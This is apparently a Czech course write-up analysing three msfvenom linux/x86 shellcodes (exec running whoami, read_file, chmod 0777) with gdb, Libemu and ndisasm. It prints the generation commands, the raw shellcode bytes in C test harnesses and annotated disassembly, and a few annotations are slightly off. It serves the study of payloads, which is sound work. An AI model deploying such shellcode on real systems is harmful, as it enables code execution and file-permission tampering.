Analýza vybraných 32bitových MSFvenom shellcodů

V pátém textu této 32bitové série budou analyzovány 3 vybrané shellcody vygenerované pomocí msfvenom pro linux/x86. K analýze bude použito Libemu, gdb a ndisasm.

Všechny dostupné payloady v msfvenom můžeme vidět pomocí:

  • msfvenom ––list payloads | grep linux/x86

Za účelem analýzy byly vybrány následující payloady:

  • linux/x86/exec
  • linux/x86/read_file
  • linux/x86/chmod

linux/x86/exec:

Nejdřív ze všeho potřebujeme vědět, jaké jsou požadované nastavení pro vygenerování tohoto shellcodu:

  • msfvenom -p linux/x86/exec ––list-options

Je zde pouze jedno požadované nastavení a to „CMD“. V našem případě použijeme whoami.

Vytvoříme shellcode v C:

  • msfvenom -p linux/x86/exec CMD=whoami -f c

Poté vložíme do C skriptu, spustíme a spočítáme délku shellcodu:

#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x07\x00\x00\x00\x77"
"\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80";
 
main()
{
printf("Shellcode Lenght: %d\n", strlen(code));
 
int (*ret)() = (int(*)())code;
 
ret();
 
}

Zkompilujeme:

  • gcc -fno-stack-protector -z execstack shellcode-exec.c -o shellcode-exec

Jak můžeme vidět, shellcode funguje. Nyní jej můžeme analyzovat například pomocí Libemu:

  • msfvenom -p linux/x86/exec CMD=whoami R | /opt/libemu/tools/sctest/sctest -vvv -Ss 100000 -G exec.dot
  • dot exec.dot -T png -o exec.png

Shellcode používá pouze jeden syscall a to execve.

  • grep 11 /usr/include/i386-linux-gnu/asm/unistd_32.h
    #define __NR_execve              11
  • int execve(const char *filename, char *const argv[],
                 char *const envp[]);

Nyní můžeme analyzovat syscall:

  • EAX = execve()
  • EBX = filename = /bin/sh, 0x0
  • ECX = argv = “/bin/sh, -c whoami”
  • EDX = envp = 0

Jak můžeme vidět, msfvenom používá instrukci “call 0x1”. Díky tomu je uložen příkaz “whoami” do stacku. Můžeme jej analyzovat pomocí gdb.

  • gdb ./shellcode-exec -q
  • set disassembly-flavor intel
  • break *&code
  • run
  • disas/r

Jak můžeme vidět, “\x69\x6d\x61\x61\x6f\x68\x77” = “whoami”

To stejné můžeme vidět manuální analýzou ECX:


global _start
 
section .text
 
_start:
 
    push byte 0xb             ; syscall execve()
    pop eax                   ; EAX = syscall 11
    cwd                       ; EDX = 0
    push edx
    push word 0x632d          ; "-c"
    mov edi, esp              ; ESP -> EDI
    push dword 0x68732f       ; "/sh"
    push dword 0x6e69622f     ; "/bin"
    mov ebx, esp              ; ESP -> EBX
    push edx                  ; EDX = 0
    call 0x1                  ; storing the "whoami" command into the stack
    push edi
    push ebx
    mov ecx, esp              ; ECX (/bin/bash -c whoami) -> stack
    int 0x80

linux/x86/read_file:

Všechny povinné možnosti nastavení můžeme vidět pomocí:

  • msfvenom -p linux/x86/read_file ––list-options

Jsou zde dvě povinné nastavení, a to file descriptor a PATH.

Shellcode v C si můžeme vytvořit pomocí:

  • msfvenom -p linux/x86/read_file FD=1 PATH=/tmp/slae.txt -f c

Potom můžeme pomocí jednoduchého C skriptu spočítat délku shellcode:

#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x74\x6d\x70\x2f\x73\x6c\x61\x65\x2e\x74\x78\x74\x00";
 
main()
{
printf("Shellcode Lenght: %d\n", strlen(code));
 
int (*ret)() = (int(*)())code;
 
ret();
 
}

Následně zkompilujeme C script a spustíme jej:

  • gcc -fno-stack-protector -z execstack shellcode-readfile.c -o shellcode-readfile

Jak můžeme vidět na screenu výše, shellcode funguje. Nyní můžeme shellcode analyzovat pomocí ndisasm:

  • msfvenom -p linux/x86/read_file PATH=/tmp/slae.txt | ndisasm -u –

Můžeme vidět 4 syscally:

  • EAX 0x5 = open
  • EAX 0x3 = read
  • EAX 0x4 = write
  • EAX 0x1 = exit

PATH “/tmp/slae.txt”

; Filename: exec.nasm
; Author: SLAE-14209
 
global _start
 
section .text
 
_start:
 
    jmp short 0x38       
    mov eax, 0x5         ; syscall open()
    pop ebx              ; pop address "txt.eals/pmt/" into EBX
    xor ecx, ecx         ; zeroize ECX register
    int 0x80             ; int open(const char *pathname, int flags);
    
    mov ebx, eax
    mov eax, 0x3         ; syscall read()
    mov edi, esp         ; ESP -> EDI
    mov ecx, edi         ; ESP -> ECX
    mov edx, 0x1000      ; 0x1000 = 4096
    int 0x80             ; int read(int fd, void *buf, size_t count);
    
    mov edx, eax
    mov eax, 0x4         ; syscall write()
    mov ebx, 0x1         ; STDOUT = 1
    int 0x80             ; int write(int fd, const void *buf, size_t count);
    
    mov eax, 0x1         ; syscall exit()
    mov ebx, 0x0         ; exit
    int 0x80
    
    call 0x2
    das                  ;---|
    jz 0xad              ;   |
    jo 0x71              ;   |
    jnc 0xb0             ;   |--> "txt.eals/pmt/"
    popa                 ;   |
    cs jz 0xc1           ;   |
    jz 0x4b              ;---|

linux/x86/chmod:

Všechny povinné možnosti nastavení můžeme vidět pomocí:

  • msfvenom -p linux/x86/chmod ––list-option

Jsou zde dvě povinné nastavení, a to FILE a MODE.

Shellcode v C si můžeme vytvořit pomocí:

  • msfvenom -p linux/x86/chmod FILE=/tmp/slae.txt MODE=0777 -f c

Potom můžeme pomocí jednoduchého C skriptu spočítat délku shellcode:

#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
"\x99\x6a\x0f\x58\x52\xe8\x0e\x00\x00\x00\x2f\x74\x6d\x70\x2f"
"\x73\x6c\x61\x65\x2e\x74\x78\x74\x00\x5b\x68\xff\x01\x00\x00"
"\x59\xcd\x80\x6a\x01\x58\xcd\x80";
 
main()
{
printf("Shellcode Lenght: %d\n", strlen(code));
 
int (*ret)() = (int(*)())code;
 
ret();
 
}

Následně zkompilujeme C script a spustíme jej:

  • gcc -fno-stack-protector -z execstack shellcode-chmod.c -o shellcode-chmod

Jak můžeme vidět na screenu výše, shellcode funguje. Nyní můžeme shellcode analyzovat pomocí gdb:

  • gdb ./shellcode-exec -q
  • set disassembly-flavor intel
  • break *&code
  • run
  • disas/r

Na začátku můžeme vidět syscall 0xf = 15 = chmod()

  • int chmod(const char *pathname, mode_t mode);

Dále můžeme vidět: “\x74\x78\x74\x2e\x65\x61\x6c\x73\x2f\x70\x6d\x74\x2f” => “txt.eals/pmt/” a push 0x1ff => 777.

; Filename: chmod.nasm
; Author: SLAE-14209
global _start
section .text
_start:
cdq ; convert double to quad
push 0xf ; syscall chmod() = int chmod(const char *pathname, mode_t mode);
pop eax
push edx
call 0x404058 <code+24>
das ;---|
je ; |
jo ; |--> "txt.eals/pmt/"
jae ; |
popa ; |
gs cs je 0x4040ce ;---|
pop ebx
push dword 0x1ff ; hex 0x1ff = 777 octal 
pop ecx
push byte 0x1 ; syscall exit()
pop eax
int 0x80

Všechny použité soubory můžete nalézt zde: https://github.com/Pal1Sec/SLAE32